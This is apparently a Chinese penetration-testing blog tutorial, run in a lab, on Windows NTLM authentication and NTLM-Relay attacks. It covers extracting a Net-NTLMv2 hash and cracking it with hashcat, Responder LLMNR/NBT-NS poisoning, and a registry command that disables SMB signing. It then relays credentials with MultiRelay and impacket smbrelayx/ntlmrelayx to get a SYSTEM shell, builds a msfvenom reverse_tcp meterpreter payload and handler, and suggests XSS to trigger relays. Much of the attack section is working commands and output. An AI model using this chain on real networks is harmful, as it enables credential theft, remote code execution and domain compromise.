[内网渗透]—NTLM网络认证及NTLM-Relay攻击
NTML网络认证
Windows认证分为本地认证和网络认证,当我们开机登录用户账户时,就需要将lsass.exe进程转换的明文密码hash与 sam文件进行比对,这种方式即为——本地认证
而当我们访问同一局域网的一台主机上的SMB共享时,需要提供凭证通过验证才能访问,这个过程就会设计windows的网络认证。
NTLM协议
NTLM协议的认证共需要三个步骤完成:协商、挑战、认证。也叫挑战响应机制
- 协商,这个是为了解决历史遗留问题,也就是为了向下兼容,双方先确定一下传输协议的版本等各种信息。版本主要分为两种:NTLMv1与NTLM v2
- 挑战,下面会介绍。
- 验证,对质询的最后结果进行一个验证,验证通过后,即允许访问资源
NTLMv1、NTLM v2区别
不同点
- NTLM v1的Challenge有8位,NTLM v2的Challenge为16位
- NTLM v1的主要加密算法是DES,NTLM v2的主要加密算法是HMAC-MD5。
共同点
- 都是通过NTLM Hash进行的加密
挑战的完整过程
工作组中
- client向server发送用户信息(即用户名)请求
- server接受到请求后,判断本地用户列表是否存在client发送的用户名,如果没有返回认证失败,如果有,生成一个16位的随机数即Challenge, 然后使用登录用户名对应的NTLM Hash加密Challenge, 生成Challenge1保存在内存中。同时,生成Challenge1后,将Challenge发送给client。
- 当client接收到Chalenge时,将发送的用户名所对应的NTLM hash对Chalenge进行加密即Response(NET-NTLM-Hash),并Response发送给server。
- 接着就是验证过程了,server在收到Response后,将其与Chalenge1进行比对,如果相同,则验证成功
域环境中
- 由于域机器SAM文件中不存在域用户的NTLM hash,所以服务器将客户端用户名、Challenge、response通过 Netlogon协议交到域控手中,让域控对其进行身份验证。
- 域控通过客户端用户名在自己的ntds.dit中找到对应的NTLM-Hash,用Challenge对其进行加密,再与NET-NTLM-Hash进行对比。如果相同则表示用户拥有的密码是正确的,否则则验证失败,DC将结果返回给服务器。
- 服务器根据DC的结果成功与否返回给客户端。
wirshark抓包分析
1、模拟client访问server的共享
2、抓包看下共享产生的SMB协议,其中Negotiate Protocol Responss就是进行协商的过程
3、服务器向客户端返回16位长的challenge
4、接着客户端将发送的用户名所对应的NTLM hash对Chalenge进行加密得到Response
5、将获取到的Response进行Net-NTLMhash格式的拼接
Net-NTLMhash格式:
username::domain:challenge:HMAC-MD5:blob
username、domain即为:
challenge就是第二步中获取的内容:
7f3085e50542ee4d
HMAC-MD5即为NTProofStr的内容:
blob就是Response中除NTProofStr剩下的部分:
01010000000000005da4077f4b10d901d3c521d6bddc4ce50000000002001200530045004e00540049004d0045004e00540001001000570049004e00300038002d005000430004001a00730065006e00740069006d0065006e0074002e0063006f006d0003002c00570069006e00300038002d00700063002e00730065006e00740069006d0065006e0074002e0063006f006d0005001a00730065006e00740069006d0065006e0074002e0063006f006d00070008005da4077f4b10d901060004000200000008003000300000000000000000000000002000003b6ad2d6ec858ee23b79e3ddde29d57c3479fca6042d38c984b242c2b44d1e7f0a001000000000000000000000000000000000000900260063006900660073002f003100390032002e003100360038002e00350032002e00310037003100000000000000000000000000
所以拼接好的Net-NTLMhash为:
test::SENTIMENT:7f3085e50542ee4d:4d11723d0631436ee007f9bdb1ce3a45:01010000000000005da4077f4b10d901d3c521d6bddc4ce50000000002001200530045004e00540049004d0045004e00540001001000570049004e00300038002d005000430004001a00730065006e00740069006d0065006e0074002e0063006f006d0003002c00570069006e00300038002d00700063002e00730065006e00740069006d0065006e0074002e0063006f006d0005001a00730065006e00740069006d0065006e0074002e0063006f006d00070008005da4077f4b10d901060004000200000008003000300000000000000000000000002000003b6ad2d6ec858ee23b79e3ddde29d57c3479fca6042d38c984b242c2b44d1e7f0a001000000000000000000000000000000000000900260063006900660073002f003100390032002e003100360038002e00350032002e00310037003100000000000000000000000000
通过Net-NTLMhash破解密码
hashcat爆破
- -m:hash的类型,5600对应NetNTLMv2,具体可参考:https://hashcat.net/wiki/doku.php
- -o:输出文件
- 字典文件为password.txt
- –force 强制执行,测试系统不支持Intel OpenCL
hashcat -m 5600 test::SENTIMENT:7f3085e50542ee4d:4d11723d0631436ee007f9bdb1ce3a45:01010000000000005da4077f4b10d901d3c521d6bddc4ce50000000002001200530045004e00540049004d0045004e00540001001000570049004e00300038002d005000430004001a00730065006e00740069006d0065006e0074002e0063006f006d0003002c00570069006e00300038002d00700063002e00730065006e00740069006d0065006e0074002e0063006f006d0005001a00730065006e00740069006d0065006e0074002e0063006f006d00070008005da4077f4b10d901060004000200000008003000300000000000000000000000002000003b6ad2d6ec858ee23b79e3ddde29d57c3479fca6042d38c984b242c2b44d1e7f0a001000000000000000000000000000000000000900260063006900660073002f003100390032002e003100360038002e00350032002e00310037003100000000000000000000000000 password.txt -o result.txt --force
Responder
下载地址:https://github.com/lgandx/Responder,kali自带在/usr/share/responder
下,但有的时候不一定哪个好用,所以可以下载下来以备不时之需
前置知识
Windows系统名称解析顺序
当我们访问一个共享时 net use \aaa,其寻找这个主机名称会遵循以下的步骤:
- 本地hosts文件(%windir%\System32\drivers\etc\hosts)
- DNS缓存/DNS服务器
- 链路本地多播名称解析(LLMNR)和NetBIOS名称服务(NBT-NS)
如果没有在1、2项中找到对应名称,系统就会通过链路本地多播名称解析(LLMNR)和Net-BIOS名称服务(NBT-NS)在本地进行名称解析。这时,客户端就会将未经认证的UDP广播到网络中,询问它是否为本地系统的名称,由于该过程未被认证,并且广播到整个网络,从而允许网络 上的任何机器响应并声称是这台机器。
因此当用户输入不存在、包含错误或者DNS中 没有的主机名时,通过Responder工具监听LLMNR和NetBIOS广播,就可以伪装成受害者要访问的这台机器,并从而让受害者交出相应的登陆凭证。核心过程与arp欺骗类似,我们可以让攻击者作中间人,截获到客户端的Net-NTLM Hash。
获取Net-NTLMhash
监听kali的eth1网卡
sudo responder -I eth1 -fv
同网段主机访问任意不存在用户
本地和缓存查询不到sfss时,内网主机就会将未经认证的UDP广播到网络中,询问谁是sfss,由于该过程未被认证,并且广播到整个网络,从而允许网络 上的任何机器响应并声称自己是sfss。此时kali伪装成sfss这台机器,接着进行ntlm认证。从而让受害者交出相应的登陆凭证(Net-NTLMhash)
之后就可以用hashcat进行爆破了
NTLM-Relay攻击
上边获取到Net-NTLMhash后对密码进行了爆破,但若我们爆破不出密码呢?这时就可以使用NTLM-relay攻击,也叫NTLM重放攻击。
原理
重放本身的含义就是:攻击者利用网络监听或者其他方式盗取认证凭据,之后再把它重新发给认证服务器。
因此NTLM重放攻击也就是将窃听到的客户端Net-NTLMhash
,重放到服务端。而由于攻击者拥有了该凭证,因此服务端自然而然就认为攻击者就是客户端。如果这个凭据权限足够,那么就可以控制域内其它主机,所以凭据的权限很重要。这里攻击者其实就充当了一个中间人的身份。
Responder
攻击前提
NTLM Relay攻击时在域中通过relay到smb服务将管理组成员冲放到到一些敏感的机器上。
因此relay到smb服务要求被攻击机器不能开启SMB签名,域内主机的 SMB 签名默认关闭,但域控是默认开启的。
实验环境
虚拟机 | IP |
---|---|
kali | 192.168.52.199 |
Win2012(域控) | 192.168.52.163 |
Win2016(域管理员登录) | 192.168.52.198 |
Win2008(受害机) | 192.168.52.171 |
1、先用RunFinger.py来查看下内网中开放的信息,可以看到163域控是开启了smb签名的,其他主机没有
python RunFinger.py -i 192.168.52.0/24
若域内其他主机开启了SMB Signing,可通过命令关闭对应服务( Windows Server系列中RequireSecuritySignature子键默认值为1)
reg add HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v RequireSecuritySignature /t REG_DWORD /d 0 /f
2、修改responder的配置文件Responder.conf,不让其对 hash 进行抓取。将SMB和HTTP的On改为Off:
sudo vim /usr/share/responder/Responder.conf
3、开启responder监听
responder -I eth1
4、启动MultiRelay.py
cd /usr/share/responder/tools
python3 MultiRelay.py -t 要攻击的域内目标 -u ALL
python3 MultiRelay.py -t 192.168.52.171 -u ALL
5、由于需要高权限凭证,因此在WIN16上用域管理员权限登录
6、返回了win08的shell
impacket
impacket也有对应的exp
smbrelayx.py
1、在kali上执行如下命令监听 80 和 445 端口,伪造 http 和 smb 服务:
#SMBRelay 攻击 192.168.52.171 主机,并执行 whoami 命令
python3 smbrelayx.py -h 192.168.52.171 -c whoami
2、通过owa钓鱼或者其他手段诱导域管理员或其它拥有域管账号密码的域用户访问访问 http://192.168.52.199 :
3、这时就成功执行whoami命令,获取到了win08的system权限
4、利用该思路可以尝试上线到C2,先生成一个木马
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.52.163 LPORT=4444 -f exe -o shell.exe
#启动监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.52.199
set lport 4444
run
5、smbrelayx.py开始重放攻击,-e是要执行的文件
python3 smbrelayx.py -h 192.168.52.171 -e shell.exe
6、重复步骤2的操作,成功返回会话
7、但该会话很快就会被删除
因此应尽快做好进程迁移
run post/windows/manage/migrate
ntlmrelayx.py
与上述方式一样还可以用ntlmrelayx.py
python3 ntlmrelayx.py -t smb://192.168.52.171 -c whoami
除邮件钓鱼外,通过共享也可
扩展
其实相对于impacket中的方法,Reponder的更实用一些,因为impacket中的方法需要连接kali,在实战中有些鸡肋。。。
而Reponder中,直接通过net use
的一个不存在用户的方法,也不太会发生,因此可以通过另一种方式让目标机器加载net use
因为在渗透前一定是拿到了一定权限的,那就可以通过在目标index界面中插入一条xss语句,当有管理员身份的用户访问时,便可触发重放攻击
参考
LLMNR/NBT-NS欺骗攻击 - F0rmat’s Blog (xxe.icu)
NTLM网络认证协议分析及Net-NTLMhash的获取_山山而川’的博客-CSDN博客
NTLM-relay攻击_山山而川’的博客-CSDN博客_ntlm relay攻击
NTLM-relay攻击的原理与实现_Shanfenglan7的博客-CSDN博客_ntlmssp攻击原理
[内网渗透]—NTLM网络认证及NTLM-Relay攻击相关推荐
- 内网渗透(六十二)之 NTLM Realy 攻击
NTLM Realy 攻击 NTLM Realy 攻击其实应该称为Net-NTLM Realy 攻击,它发生在NTLM认证的第三步,在Response 消息中存在Net-NTLM Hash,当攻击者获 ...
- 内网渗透研究:LLMNR和NetBIOS欺骗攻击分析
目录 基础知识 LLMNR是什么? LLMNR 的工作过程 NetBIOS是什么? Windows系统名称解析顺序 LLMNR和NetBIOS欺骗攻击 攻击原理 Responder工具利用过程 针对L ...
- 内网渗透测试:NTLM Relay攻击分析
目录 基础知识 NTLM认证过程 NTLM中继攻击原理 获得Net-NTLM Relay的思路 利用LLMNR和NetBIOS欺骗获得Net-NTLMHash 利用WPAD劫持获得Net-NTLMHa ...
- windows内网渗透PTH/PTK攻击
前言 windows内网渗透中,有三种最常用的pass系列攻击: pass the hash(hash传递攻击,简称pth) pass the ticket(票据传递攻击,简称ptt) pass th ...
- 内网渗透测试:Windows权限提升思路
我的Freebuf:https://www.freebuf.com/author/MrAnonymous 我的博客:https://whoamianony.top/ 文章目录 Windows系统内核溢 ...
- 内网渗透——WINDOWS认证机制之KERBEROS
之前两篇文章整理了NTLM协议的分析与利用 1.内网渗透--WINDOWS认证机制之NTLM 2.利用netsh抓取连接文件服务器的NET NTLM Hash 本篇文章来学习域内认证的Kerberos ...
- 三层网络靶场搭建MSF内网渗透
三层网络靶场搭建&MSF内网渗透 在最近的CTF比赛中,综合靶场出现的次数越来越多,这种形式的靶场和真实的内网渗透很像,很贴合实际工作,但我们往往缺少多层网络的练习环境.本文通过VMware搭 ...
- 网络靶场实战-记一次大型内网渗透实践 【一】
本场景是基于"火天网境攻防演训靶场"进行搭建,通过靶场内置的演训导调.演训裁判以及演训运维功能,可以对整个攻防演练过程进行管控和详尽的评估与复盘. 1.场景准备 · 场景名称 某大 ...
- 内网渗透(二十四)之Windows协议认证和密码抓取-Mimikatz读取sam和lsass获取密码
系列文章第一章节之基础知识篇 内网渗透(一)之基础知识-内网渗透介绍和概述 内网渗透(二)之基础知识-工作组介绍 内网渗透(三)之基础知识-域环境的介绍和优点 内网渗透(四)之基础知识-搭建域环境 内 ...
最新文章
- C++ :: 的用法小结
- “.Net 社区虚拟大会”(dotnetConf) 2016 Day 1 Keynote: Scott Hunter
- 面试官系统精讲Java源码及大厂真题 - 15 CopyOnWriteArrayList 源码解析和设计思路
- Hyper-V 2016 系列教程45 System Center 2016 Data Protection Manager 可以备份什么
- python3 解析 base64 数据
- Unix 风雨五十年:老兵远去,新秀崛起!
- HTML5笔记:跨域通讯、多线程、本地存储和多图片上传技术
- Snell Advanced Media选择金雅拓保护其知识产权
- Java生鲜电商平台-提现模块的设计与架构
- Qt UDP Socket丢包问题(实现百兆级速率无丢包)
- 音乐社交APP源码项目
- 清华大学朱小燕教授做客雷锋网沙龙,分享 NLP 和人工智能的那些事儿| AAAI 2017...
- Python 内置函数详解,进阶必备
- 查看Win10激活剩余时间
- web前端做汽车之家官网,HTML5+CSS3+JS
- 详解Python中的文本处理
- 判断系统是centos还是ubuntu的linux命令
- 洛谷:P1462 通往奥格瑞玛的道路
- 虚拟摄像头之十: Camera3 DeviceSession 和 CaptureRequest 流程机制
- 万字技术干货 |YMatrix 高性能时序数据库引擎的技术实践
热门文章
- OpenStack Magnum 分析
- CodeForces 409C Magnum Opus
- 贵州古老歌舞开启悉尼农历节
- 百度地图 点击地图类型控件切换普通地图、卫星图、三维图、混合图(卫星图+路网),右下角是缩略图
- error: open(“file.xlsx“): Permission denied
- 世界最牛芯片企业:每天净赚2亿,它不在美国,也不在日韩!
- 信息、消息与信号及通信系统的组成
- php8.0 下载,PHP 8.0
- 使用 NGINX 作为 HTTPS 正向代理服务器
- 高考录取查询一直显示服务器错误什么情况,今年高考再出“屏蔽生”,查分页面没成绩,反应过来坐等985录取...